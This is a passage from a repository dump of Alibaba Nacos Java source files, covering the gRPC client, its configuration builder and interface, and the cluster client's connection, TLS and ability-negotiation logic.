this.timeOutMills = timeOutMills;\n            return this;\n        }\n        \n        /**\n         * set connectionKeepAlive.\n         */\n        public Builder setConnectionKeepAlive(long connectionKeepAlive) {\n            this.connectionKeepAlive = connectionKeepAlive;\n            return this;\n        }\n        \n        /**\n         * set threadPoolKeepAlive.\n         */\n        public Builder setThreadPoolKeepAlive(Long threadPoolKeepAlive) {\n            this.threadPoolKeepAlive = threadPoolKeepAlive;\n            return this;\n        }\n        \n        /**\n         * set threadPoolCoreSize.\n         */\n        public Builder setThreadPoolCoreSize(Integer threadPoolCoreSize) {\n            if (!Objects.isNull(threadPoolCoreSize)) {\n                this.threadPoolCoreSize = threadPoolCoreSize;\n            }\n            return this;\n        }\n        \n        /**\n         * set threadPoolMaxSize.\n         */\n        public Builder setThreadPoolMaxSize(Integer threadPoolMaxSize) {\n            if (!Objects.isNull(threadPoolMaxSize)) {\n                this.threadPoolMaxSize = threadPoolMaxSize;\n            }\n            return this;\n        }\n        \n        /**\n         * set serverCheckTimeOut.\n         */\n        public Builder setServerCheckTimeOut(Long serverCheckTimeOut) {\n            this.serverCheckTimeOut = serverCheckTimeOut;\n            return this;\n        }\n        \n        /**\n         * set threadPoolQueueSize.\n         */\n        public Builder setThreadPoolQueueSize(int threadPoolQueueSize) {\n            this.threadPoolQueueSize = threadPoolQueueSize;\n            return this;\n        }\n        \n        /**\n         * set maxInboundMessageSize.\n         */\n        public Builder setMaxInboundMessageSize(int maxInboundMessageSize) {\n            this.maxInboundMessageSize = maxInboundMessageSize;\n            return this;\n        }\n        \n        /**\n         * set channelKeepAlive.\n         */\n        public Builder setChannelKeepAlive(int channelKeepAlive) {\n            this.channelKeepAlive = channelKeepAlive;\n            return this;\n        }\n        \n        /**\n         * set channelKeepAlive.\n         *\n         * @param channelKeepAliveTimeout milliseconds\n         * @return builder\n         */\n        public Builder setChannelKeepAliveTimeout(int channelKeepAliveTimeout) {\n            this.channelKeepAliveTimeout = channelKeepAliveTimeout;\n            return this;\n        }\n        \n        public Builder setCapabilityNegotiationTimeout(long capabilityNegotiationTimeout) {\n            this.capabilityNegotiationTimeout = capabilityNegotiationTimeout;\n            return this;\n        }\n        \n        /**\n         * set allowCoreThreadTimeOut.\n         *\n         * @param allowCoreThreadTimeOut allowCoreThreadTimeOut flag\n         * @return builder\n         */\n        public Builder setAllowCoreThreadTimeOut(boolean allowCoreThreadTimeOut) {\n            this.allowCoreThreadTimeOut = allowCoreThreadTimeOut;\n            return this;\n        }\n        \n        /**\n         * set healthCheckRetryTimes.\n         */\n        public Builder setHealthCheckRetryTimes(int healthCheckRetryTimes) {\n            this.healthCheckRetryTimes = healthCheckRetryTimes;\n            return this;\n        }\n        \n        /**\n         * set healthCheckTimeOut.\n         */\n        public Builder setHealthCheckTimeOut(long healthCheckTimeOut) {\n            this.healthCheckTimeOut = healthCheckTimeOut;\n            return this;\n        }\n        \n        /**\n         * set labels.\n         */\n        public Builder setLabels(Map<String, String> labels) {\n            this.labels.putAll(labels);\n            return this;\n        }\n        \n        /**\n         * set tlsConfig.\n         *\n         * @param tlsConfig tls of client.\n         * @return\n         */\n        public Builder setTlsConfig(RpcClientTlsConfig tlsConfig) {\n            this.tlsConfig = tlsConfig;\n            return this;\n        }\n        \n        /**\n         * build GrpcClientConfig.\n         */\n        public GrpcClientConfig build() {\n            return new DefaultGrpcClientConfig(this);\n        }\n    }\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/remote/client/grpc/GrpcClient.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote.client.grpc;\n\nimport com.alibaba.nacos.api.ability.constant.AbilityMode;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.grpc.auto.BiRequestStreamGrpc;\nimport com.alibaba.nacos.api.grpc.auto.Payload;\nimport com.alibaba.nacos.api.grpc.auto.RequestGrpc;\nimport com.alibaba.nacos.api.remote.request.ConnectResetRequest;\nimport com.alibaba.nacos.api.remote.request.ConnectionSetupRequest;\nimport com.alibaba.nacos.api.remote.request.Request;\nimport com.alibaba.nacos.api.remote.request.ServerCheckRequest;\nimport com.alibaba.nacos.api.remote.request.SetupAckRequest;\nimport com.alibaba.nacos.api.remote.response.ErrorResponse;\nimport com.alibaba.nacos.api.remote.response.Response;\nimport com.alibaba.nacos.api.remote.response.ServerCheckResponse;\nimport com.alibaba.nacos.api.remote.response.SetupAckResponse;\nimport com.alibaba.nacos.common.ability.discover.NacosAbilityManagerHolder;\nimport com.alibaba.nacos.common.packagescan.resource.Resource;\nimport com.alibaba.nacos.common.remote.ConnectionType;\nimport com.alibaba.nacos.common.remote.TlsConfig;\nimport com.alibaba.nacos.common.remote.client.Connection;\nimport com.alibaba.nacos.common.remote.client.RpcClient;\nimport com.alibaba.nacos.common.remote.client.RpcClientStatus;\nimport com.alibaba.nacos.common.remote.client.RpcClientTlsConfig;\nimport com.alibaba.nacos.common.remote.client.ServerListFactory;\nimport com.alibaba.nacos.common.remote.client.ServerRequestHandler;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.LoggerUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.common.utils.ThreadFactoryBuilder;\nimport com.alibaba.nacos.common.utils.TlsTypeResolve;\nimport com.alibaba.nacos.common.utils.VersionUtils;\nimport com.google.common.util.concurrent.ListenableFuture;\nimport io.grpc.CompressorRegistry;\nimport io.grpc.DecompressorRegistry;\nimport io.grpc.ManagedChannel;\nimport io.grpc.ManagedChannelBuilder;\nimport io.grpc.netty.shaded.io.grpc.netty.GrpcSslContexts;\nimport io.grpc.netty.shaded.io.grpc.netty.NegotiationType;\nimport io.grpc.netty.shaded.io.grpc.netty.NettyChannelBuilder;\nimport io.grpc.netty.shaded.io.netty.handler.ssl.SslContext;\nimport io.grpc.netty.shaded.io.netty.handler.ssl.SslContextBuilder;\nimport io.grpc.netty.shaded.io.netty.handler.ssl.util.InsecureTrustManagerFactory;\nimport io.grpc.stub.StreamObserver;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.Arrays;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Optional;\nimport java.util.concurrent.CountDownLatch;\nimport java.util.concurrent.LinkedBlockingQueue;\nimport java.util.concurrent.ThreadPoolExecutor;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * gRPC Client.\n *\n * @author liuzunfei\n * @version $Id: GrpcClient.java, v 0.1 2020年07月13日 9:16 PM liuzunfei Exp $\n */\npublic abstract class GrpcClient extends RpcClient {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(GrpcClient.class);\n    \n    private final GrpcClientConfig clientConfig;\n    \n    private ThreadPoolExecutor grpcExecutor;\n    \n    /**\n     * Block to wait setup success response.\n     */\n    private final RecAbilityContext recAbilityContext = new RecAbilityContext(null);\n    \n    /**\n     * for receiving server abilities.\n     */\n    private SetupRequestHandler setupRequestHandler;\n    \n    @Override\n    public ConnectionType getConnectionType() {\n        return ConnectionType.GRPC;\n    }\n    \n    /**\n     * constructor.\n     *\n     * @param name .\n     */\n    public GrpcClient(String name) {\n        this(DefaultGrpcClientConfig.newBuilder().setName(name).build());\n    }\n    \n    /**\n     * constructor.\n     *\n     * @param clientConfig .\n     */\n    public GrpcClient(GrpcClientConfig clientConfig) {\n        super(clientConfig);\n        this.clientConfig = clientConfig;\n        initSetupHandler();\n    }\n    \n    /**\n     * constructor.\n     *\n     * @param clientConfig      .\n     * @param serverListFactory .\n     */\n    public GrpcClient(GrpcClientConfig clientConfig, ServerListFactory serverListFactory) {\n        super(clientConfig, serverListFactory);\n        this.clientConfig = clientConfig;\n        initSetupHandler();\n    }\n    \n    /**\n     * setup handler.\n     */\n    private void initSetupHandler() {\n        // register to handler setup request\n        setupRequestHandler = new SetupRequestHandler(this.recAbilityContext);\n    }\n    \n    /**\n     * constructor.\n     *\n     * @param name               .\n     * @param threadPoolCoreSize .\n     * @param threadPoolMaxSize  .\n     * @param labels             .\n     */\n    public GrpcClient(String name, Integer threadPoolCoreSize, Integer threadPoolMaxSize, Map<String, String> labels) {\n        this(DefaultGrpcClientConfig.newBuilder().setName(name).setThreadPoolCoreSize(threadPoolCoreSize)\n                .setThreadPoolMaxSize(threadPoolMaxSize).setLabels(labels).build());\n    }\n    \n    public GrpcClient(String name, Integer threadPoolCoreSize, Integer threadPoolMaxSize, Map<String, String> labels,\n            RpcClientTlsConfig tlsConfig) {\n        this(DefaultGrpcClientConfig.newBuilder().setName(name).setThreadPoolCoreSize(threadPoolCoreSize)\n                .setTlsConfig(tlsConfig).setThreadPoolMaxSize(threadPoolMaxSize).setLabels(labels).build());\n    }\n    \n    protected ThreadPoolExecutor createGrpcExecutor(String serverIp) {\n        // Thread name will use String.format, ipv6 maybe contain special word %, so handle it first.\n        serverIp = serverIp.replaceAll(\"%\", \"-\");\n        ThreadPoolExecutor grpcExecutor = new ThreadPoolExecutor(clientConfig.threadPoolCoreSize(),\n                clientConfig.threadPoolMaxSize(), clientConfig.threadPoolKeepAlive(), TimeUnit.MILLISECONDS,\n                new LinkedBlockingQueue<>(clientConfig.threadPoolQueueSize()),\n                new ThreadFactoryBuilder().daemon(true).nameFormat(\"nacos-grpc-client-executor-\" + serverIp + \"-%d\")\n                        .build());\n        grpcExecutor.allowCoreThreadTimeOut(clientConfig.allowCoreThreadTimeOut());\n        return grpcExecutor;\n    }\n    \n    @Override\n    public void shutdown() throws NacosException {\n        super.shutdown();\n        if (grpcExecutor != null) {\n            LOGGER.info(\"Shutdown grpc executor \" + grpcExecutor);\n            grpcExecutor.shutdown();\n        }\n    }\n    \n    /**\n     * Create a stub using a channel.\n     *\n     * @param managedChannelTemp channel.\n     * @return if server check success,return a non-null stub.\n     */\n    protected RequestGrpc.RequestFutureStub createNewChannelStub(ManagedChannel managedChannelTemp) {\n        return RequestGrpc.newFutureStub(managedChannelTemp);\n    }\n    \n    /**\n     * create a new channel with specific server address.\n     *\n     * @param serverIp   serverIp.\n     * @param serverPort serverPort.\n     * @return if server check success,return a non-null channel.\n     */\n    private ManagedChannel createNewManagedChannel(String serverIp, int serverPort) {\n        LOGGER.info(\"grpc client connection server: {} ip, serverPort: {}, grpcTslConfig: {}\", serverIp, serverPort,\n                JacksonUtils.toJson(clientConfig.tlsConfig()));\n        ManagedChannelBuilder<?> managedChannelBuilder = buildChannel(serverIp, serverPort, buildSslContext()).executor(\n                        grpcExecutor).compressorRegistry(CompressorRegistry.getDefaultInstance())\n                .decompressorRegistry(DecompressorRegistry.getDefaultInstance())\n                .maxInboundMessageSize(clientConfig.maxInboundMessageSize())\n                .keepAliveTime(clientConfig.channelKeepAlive(), TimeUnit.MILLISECONDS)\n                .keepAliveTimeout(clientConfig.channelKeepAliveTimeout(), TimeUnit.MILLISECONDS);\n        return managedChannelBuilder.build();\n    }\n    \n    /**\n     * shutdown a  channel.\n     *\n     * @param managedChannel channel to be shutdown.\n     */\n    private void shuntDownChannel(ManagedChannel managedChannel) {\n        if (managedChannel != null && !managedChannel.isShutdown()) {\n            managedChannel.shutdownNow();\n        }\n    }\n    \n    /**\n     * check server if success.\n     *\n     * @param requestBlockingStub requestBlockingStub used to check server.\n     * @return success or not\n     */\n    private Response serverCheck(String ip, int port, RequestGrpc.RequestFutureStub requestBlockingStub) {\n        try {\n            ServerCheckRequest serverCheckRequest = new ServerCheckRequest();\n            Payload grpcRequest = GrpcUtils.convert(serverCheckRequest);\n            ListenableFuture<Payload> responseFuture = requestBlockingStub.request(grpcRequest);\n            Payload response = responseFuture.get(clientConfig.serverCheckTimeOut(), TimeUnit.MILLISECONDS);\n            // receive connection unregister response here,not check response is success.\n            return (Response) GrpcUtils.parse(response);\n        } catch (Exception e) {\n            LoggerUtils.printIfErrorEnabled(LOGGER,\n                    \"Server check fail, please check server {}, port {} is available, error ={}\", ip, port, e);\n            if (this.clientConfig != null && this.clientConfig.tlsConfig() != null && this.clientConfig.tlsConfig()\n                    .getEnableTls()) {\n                LoggerUtils.printIfErrorEnabled(LOGGER,\n                        \"current client is require tls encrypted, server must support tls ,please check\");\n            }\n            return null;\n        }\n    }\n    \n    private StreamObserver<Payload> bindRequestStream(final BiRequestStreamGrpc.BiRequestStreamStub streamStub,\n            final GrpcConnection grpcConn) {\n        return streamStub.requestBiStream(new StreamObserver<Payload>() {\n            @Override\n            public void onNext(Payload payload) {\n                LoggerUtils.printIfDebugEnabled(LOGGER, \"[{}]Stream server request receive, original info: {}\",\n                        grpcConn.getConnectionId(), payload.toString());\n                try {\n                    Object parseBody = GrpcUtils.parse(payload);\n                    final Request request = (Request) parseBody;\n                    if (request != null) {\n                        try {\n                            if (request instanceof SetupAckRequest) {\n                                // there is no connection ready this time\n                                setupRequestHandler.requestReply(request, null);\n                                return;\n                            }\n                            Response response = handleServerRequest(request);\n                            if (response != null) {\n                                response.setRequestId(request.getRequestId());\n                                sendResponse(response);\n                            } else {\n                                LOGGER.warn(\"[{}]Fail to process server request, ackId->{}\", grpcConn.getConnectionId(),\n                                        request.getRequestId());\n                            }\n                        } catch (Exception e) {\n                            LoggerUtils.printIfErrorEnabled(LOGGER, \"[{}]Handle server request exception: {}\",\n                                    grpcConn.getConnectionId(), payload.toString(), e.getMessage());\n                            Response errResponse = ErrorResponse.build(NacosException.CLIENT_ERROR,\n                                    \"Handle server request error\");\n                            errResponse.setRequestId(request.getRequestId());\n                            sendResponse(errResponse);\n                        }\n                    }\n                } catch (Exception e) {\n                    LoggerUtils.printIfErrorEnabled(LOGGER, \"[{}]Error to process server push response: {}\",\n                            grpcConn.getConnectionId(), payload.getBody().getValue().toStringUtf8());\n                    // remove and notify\n                    recAbilityContext.release(null);\n                }\n            }\n            \n            @Override\n            public void onError(Throwable throwable) {\n                boolean isRunning = isRunning();\n                boolean isAbandon = grpcConn.isAbandon();\n                if (isRunning && !isAbandon) {\n                    LoggerUtils.printIfErrorEnabled(LOGGER, \"[{}]Request stream error, switch server,error={}\",\n                            grpcConn.getConnectionId(), throwable);\n                    if (rpcClientStatus.compareAndSet(RpcClientStatus.RUNNING, RpcClientStatus.UNHEALTHY)) {\n                        switchServerAsync();\n                    }\n                } else {\n                    LoggerUtils.printIfWarnEnabled(LOGGER, \"[{}]Ignore error event,isRunning:{},isAbandon={}\",\n                            grpcConn.getConnectionId(), isRunning, isAbandon);\n                }\n            }\n            \n            @Override\n            public void onCompleted() {\n                boolean isRunning = isRunning();\n                boolean isAbandon = grpcConn.isAbandon();\n                if (isRunning && !isAbandon) {\n                    LoggerUtils.printIfErrorEnabled(LOGGER, \"[{}]Request stream onCompleted, switch server\",\n                            grpcConn.getConnectionId());\n                    if (rpcClientStatus.compareAndSet(RpcClientStatus.RUNNING, RpcClientStatus.UNHEALTHY)) {\n                        switchServerAsync();\n                    }\n                } else {\n                    LoggerUtils.printIfInfoEnabled(LOGGER, \"[{}]Ignore complete event,isRunning:{},isAbandon={}\",\n                            grpcConn.getConnectionId(), isRunning, isAbandon);\n                }\n            }\n        });\n    }\n    \n    private void sendResponse(Response response) {\n        try {\n            ((GrpcConnection) this.currentConnection).sendResponse(response);\n        } catch (Exception e) {\n            LOGGER.error(\"[{}]Error to send ack response, ackId->{}\", this.currentConnection.getConnectionId(),\n                    response.getRequestId());\n        }\n    }\n    \n    @Override\n    public Connection connectToServer(ServerInfo serverInfo) {\n        // the newest connection id\n        String connectionId = \"\";\n        try {\n            if (grpcExecutor == null) {\n                this.grpcExecutor = createGrpcExecutor(serverInfo.getServerIp());\n            }\n            int port = serverInfo.getServerPort() + rpcPortOffset();\n            ManagedChannel managedChannel = createNewManagedChannel(serverInfo.getServerIp(), port);\n            RequestGrpc.RequestFutureStub newChannelStubTemp = createNewChannelStub(managedChannel);\n            \n            Response response = serverCheck(serverInfo.getServerIp(), port, newChannelStubTemp);\n            if (!(response instanceof ServerCheckResponse)) {\n                shuntDownChannel(managedChannel);\n                return null;\n            }\n            // submit ability table as soon as possible\n            // ability table will be null if server doesn't support ability table\n            ServerCheckResponse serverCheckResponse = (ServerCheckResponse) response;\n            connectionId = serverCheckResponse.getConnectionId();\n            \n            BiRequestStreamGrpc.BiRequestStreamStub biRequestStreamStub = BiRequestStreamGrpc.newStub(\n                    newChannelStubTemp.getChannel());\n            GrpcConnection grpcConn = new GrpcConnection(serverInfo, grpcExecutor);\n            grpcConn.setConnectionId(connectionId);\n            // if not supported, it will be false\n            if (serverCheckResponse.isSupportAbilityNegotiation()) {\n                // mark\n                this.recAbilityContext.reset(grpcConn);\n                // promise null if no abilities receive\n                grpcConn.setAbilityTable(null);\n            }\n            \n            //create stream request and bind connection event to this connection.\n            StreamObserver<Payload> payloadStreamObserver = bindRequestStream(biRequestStreamStub, grpcConn);\n            \n            // stream observer to send response to server\n            grpcConn.setPayloadStreamObserver(payloadStreamObserver);\n            grpcConn.setGrpcFutureServiceStub(newChannelStubTemp);\n            grpcConn.setChannel(managedChannel);\n            //send a  setup request.\n            ConnectionSetupRequest conSetupRequest = new ConnectionSetupRequest();\n            conSetupRequest.setClientVersion(getClientVersion());\n            conSetupRequest.setLabels(super.getLabels());\n            // set ability table\n            conSetupRequest.setAbilityTable(\n                    NacosAbilityManagerHolder.getInstance().getCurrentNodeAbilities(abilityMode()));\n            conSetupRequest.setTenant(super.getTenant());\n            grpcConn.sendRequest(conSetupRequest);\n            // wait for response\n            if (recAbilityContext.isNeedToSync()) {\n                // try to wait for notify response\n                recAbilityContext.await(this.clientConfig.capabilityNegotiationTimeout(), TimeUnit.MILLISECONDS);\n                // if no server abilities receiving, then reconnect\n                if (!recAbilityContext.check(grpcConn)) {\n                    return null;\n                }\n            } else {\n                // leave for adapting old version server\n                // registration is considered successful by default after 100ms\n                // wait to register connection setup\n                Thread.sleep(100L);\n            }\n            return grpcConn;\n        } catch (Exception e) {\n            LOGGER.error(\"[{}]Fail to connect to server!,error={}\", GrpcClient.this.getName(), e);\n            // remove and notify\n            recAbilityContext.release(null);\n        }\n        return null;\n    }\n    \n    protected String getClientVersion() {\n        return VersionUtils.getFullClientVersion();\n    }\n    \n    /**\n     * ability mode: sdk client or cluster client.\n     *\n     * @return mode\n     */\n    protected abstract AbilityMode abilityMode();\n    \n    @Override\n    protected void afterReset(ConnectResetRequest request) {\n        recAbilityContext.release(null);\n    }\n    \n    /**\n     * This is for receiving server abilities.\n     */\n    static class RecAbilityContext {\n        \n        /**\n         * connection waiting for server abilities.\n         */\n        private volatile Connection connection;\n        \n        /**\n         * way to block client.\n         */\n        private volatile CountDownLatch blocker;\n        \n        private volatile boolean needToSync = false;\n        \n        public RecAbilityContext(Connection connection) {\n            this.connection = connection;\n            this.blocker = new CountDownLatch(1);\n        }\n        \n        /**\n         * whether to sync for ability table.\n         *\n         * @return whether to sync for ability table.\n         */\n        public boolean isNeedToSync() {\n            return this.needToSync;\n        }\n        \n        /**\n         * reset with new connection which is waiting for ability table.\n         *\n         * @param connection new connection which is waiting for ability table.\n         */\n        public void reset(Connection connection) {\n            this.connection = connection;\n            this.blocker = new CountDownLatch(1);\n            this.needToSync = true;\n        }\n        \n        /**\n         * notify sync by abilities.\n         *\n         * @param abilities abilities.\n         */\n        public void release(Map<String, Boolean> abilities) {\n            if (this.connection != null) {\n                this.connection.setAbilityTable(abilities);\n                // avoid repeat setting\n                this.connection = null;\n            }\n            if (this.blocker != null) {\n                blocker.countDown();\n            }\n            this.needToSync = false;\n        }\n        \n        /**\n         * await for abilities.\n         *\n         * @param timeout timeout.\n         * @param unit    unit.\n         * @throws InterruptedException by blocker.\n         */\n        public void await(long timeout, TimeUnit unit) throws InterruptedException {\n            if (this.blocker != null) {\n                this.blocker.await(timeout, unit);\n            }\n            this.needToSync = false;\n        }\n        \n        /**\n         * check whether receive abilities.\n         *\n         * @param connection conn.\n         * @return whether receive abilities.\n         */\n        public boolean check(Connection connection) {\n            if (!connection.isAbilitiesSet()) {\n                LOGGER.error(\n                        \"Client don't receive server abilities table even empty table but server supports ability negotiation.\"\n                                + \" You can check if it is need to adjust the timeout of ability negotiation by property: {}\"\n                                + \" if always fail to connect.\",\n                        GrpcConstants.GRPC_CHANNEL_CAPABILITY_NEGOTIATION_TIMEOUT);\n                connection.setAbandon(true);\n                connection.close();\n                return false;\n            }\n            return true;\n        }\n    }\n    \n    private Optional<SslContext> buildSslContext() {\n        \n        TlsConfig tlsConfig = clientConfig.tlsConfig();\n        if (!tlsConfig.getEnableTls()) {\n            return Optional.empty();\n        }\n        try {\n            SslContextBuilder builder = GrpcSslContexts.forClient();\n            if (StringUtils.isNotBlank(tlsConfig.getSslProvider())) {\n                builder.sslProvider(TlsTypeResolve.getSslProvider(tlsConfig.getSslProvider()));\n            }\n            \n            if (StringUtils.isNotBlank(tlsConfig.getProtocols())) {\n                builder.protocols(tlsConfig.getProtocols().split(\",\"));\n            }\n            if (StringUtils.isNotBlank(tlsConfig.getCiphers())) {\n                builder.ciphers(Arrays.asList(tlsConfig.getCiphers().split(\",\")));\n            }\n            if (tlsConfig.getTrustAll()) {\n                builder.trustManager(InsecureTrustManagerFactory.INSTANCE);\n            } else {\n                if (StringUtils.isBlank(tlsConfig.getTrustCollectionCertFile())) {\n                    throw new IllegalArgumentException(\"trustCollectionCertFile must be not null\");\n                }\n                Resource resource = resourceLoader.getResource(tlsConfig.getTrustCollectionCertFile());\n                builder.trustManager(resource.getInputStream());\n            }\n            \n            if (tlsConfig.getMutualAuthEnable()) {\n                if (StringUtils.isBlank(tlsConfig.getCertChainFile()) || StringUtils.isBlank(\n                        tlsConfig.getCertPrivateKey())) {\n                    throw new IllegalArgumentException(\"client certChainFile or certPrivateKey must be not null\");\n                }\n                Resource certChainFile = resourceLoader.getResource(tlsConfig.getCertChainFile());\n                Resource privateKey = resourceLoader.getResource(tlsConfig.getCertPrivateKey());\n                builder.keyManager(certChainFile.getInputStream(), privateKey.getInputStream(),\n                        tlsConfig.getCertPrivateKeyPassword());\n            }\n            return Optional.of(builder.build());\n        } catch (Exception e) {\n            throw new RuntimeException(\"Unable to build SslContext\", e);\n        }\n    }\n    \n    private ManagedChannelBuilder buildChannel(String serverIp, int port, Optional<SslContext> sslContext) {\n        if (sslContext.isPresent()) {\n            return NettyChannelBuilder.forAddress(serverIp, port).negotiationType(NegotiationType.TLS)\n                    .sslContext(sslContext.get());\n            \n        } else {\n            return ManagedChannelBuilder.forAddress(serverIp, port).usePlaintext();\n        }\n    }\n    \n    /**\n     * Setup response handler.\n     */\n    class SetupRequestHandler implements ServerRequestHandler {\n        \n        private final RecAbilityContext abilityContext;\n        \n        public SetupRequestHandler(RecAbilityContext abilityContext) {\n            this.abilityContext = abilityContext;\n        }\n        \n        @Override\n        public Response requestReply(Request request, Connection connection) {\n            // if finish setup\n            if (request instanceof SetupAckRequest) {\n                SetupAckRequest setupAckRequest = (SetupAckRequest) request;\n                // remove and count down\n                recAbilityContext.release(\n                        Optional.ofNullable(setupAckRequest.getAbilityTable()).orElse(new HashMap<>(0)));\n                return new SetupAckResponse();\n            }\n            return null;\n        }\n    }\n}\n\n\n\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/remote/client/grpc/GrpcClientConfig.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote.client.grpc;\n\nimport com.alibaba.nacos.common.remote.TlsConfig;\nimport com.alibaba.nacos.common.remote.client.RpcClientConfig;\nimport com.alibaba.nacos.common.remote.client.RpcClientTlsConfig;\n\n/**\n * GrpcClient config. Use to collect and init Grpc client configuration.\n *\n * @author karsonto\n */\npublic interface GrpcClientConfig extends RpcClientConfig {\n    \n    /**\n     * get threadPoolCoreSize.\n     *\n     * @return threadPoolCoreSize.\n     */\n    int threadPoolCoreSize();\n    \n    /**\n     * get threadPoolMaxSize.\n     *\n     * @return threadPoolMaxSize.\n     */\n    int threadPoolMaxSize();\n    \n    /**\n     * get thread pool keep alive time.\n     *\n     * @return threadPoolKeepAlive.\n     */\n    long threadPoolKeepAlive();\n    \n    /**\n     * get server check time out.\n     *\n     * @return serverCheckTimeOut.\n     */\n    long serverCheckTimeOut();\n    \n    /**\n     * get thread pool queue size.\n     *\n     * @return threadPoolQueueSize.\n     */\n    int threadPoolQueueSize();\n    \n    /**\n     * get maxInboundMessage size.\n     *\n     * @return maxInboundMessageSize.\n     */\n    int maxInboundMessageSize();\n    \n    /**\n     * get channelKeepAlive time.\n     *\n     * @return channelKeepAlive.\n     */\n    int channelKeepAlive();\n    \n    /**\n     * get channelKeepAliveTimeout.\n     *\n     * @return channelKeepAliveTimeout.\n     */\n    long channelKeepAliveTimeout();\n    \n    /**\n     * getTlsConfig.\n     *\n     * @return TlsConfig.\n     */\n    TlsConfig tlsConfig();\n    \n    /**\n     * Set TlsConfig.\n     *\n     * @param tlsConfig tlsConfig of client.\n     */\n    void setTlsConfig(RpcClientTlsConfig tlsConfig);\n    \n    /**\n     * Set name of client.\n     *\n     * @param name name of client.\n     */\n    void setName(String name);\n    \n    /**\n     * get timeout of connection setup(TimeUnit.MILLISECONDS).\n     *\n     * @return timeout of connection setup\n     */\n    long capabilityNegotiationTimeout();\n    \n    /**\n     * get allowCoreThreadTimeOut flag for thread pool.\n     *\n     * @return allowCoreThreadTimeOut flag\n     */\n    boolean allowCoreThreadTimeOut();\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/remote/client/grpc/GrpcClusterClient.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote.client.grpc;\n\nimport com.alibaba.nacos.api.ability.constant.AbilityMode;\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.common.remote.client.RpcClientTlsConfig;\nimport com.alibaba.nacos.common.utils.VersionUtils;\n\nimport java.util.Map;\n\n/**\n * gRPC client for cluster.\n *\n * @author liuzunfei\n * @version $Id: GrpcClusterClient.java, v 0.1 2020年09月07日 11:05 AM liuzunfei Exp $\n */\npublic class GrpcClusterClient extends GrpcClient {\n    \n    private static final String CLUSTER_CLIENT_VERSION_PREFIX = \"Nacos-Server:v\";\n    \n    /**\n     * Empty constructor.\n     *\n     * @param name name of client.\n     */\n    public GrpcClusterClient(String name) {\n        super(name);\n    }\n    \n    /**\n     * Empty constructor.\n     *\n     * @param config of GrpcClientConfig.\n     */\n    public GrpcClusterClient(GrpcClientConfig config) {\n        super(config);\n    }\n\n    /**\n     * Constructor.\n     *\n     * @param name               name of client.\n     * @param threadPoolCoreSize .\n     * @param threadPoolMaxSize  .\n     * @param labels             .\n     */\n    public GrpcClusterClient(String name, Integer threadPoolCoreSize, Integer threadPoolMaxSize,\n            Map<String, String> labels) {\n        this(name, threadPoolCoreSize, threadPoolMaxSize, labels, null);\n    }\n    \n    public GrpcClusterClient(String name, Integer threadPoolCoreSize, Integer threadPoolMaxSize,\n            Map<String, String> labels, RpcClientTlsConfig tlsConfig) {\n        super(name, threadPoolCoreSize, threadPoolMaxSize, labels, tlsConfig);\n    }\n    \n    @Override\n    protected AbilityMode abilityMode() {\n        return AbilityMode.CLUSTER_CLIENT;\n    }\n    \n    @Override\n    protected String getClientVersion() {\n        return CLUSTER_CLIENT_VERSION_PREFIX + VersionUtils.version;\n    }\n    \n    @Override\n    public int rpcPortOffset() {\n        return Integer.parseInt(System.getProperty(GrpcConstants.NACOS_SERVER_GRPC_PORT_OFFSET_KEY,\n                String.valueOf(Constants.CLUSTER_GRPC_PORT_DEFAULT_OFFSET)));\n    }\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/remote/client/grpc/GrpcConnection.java",
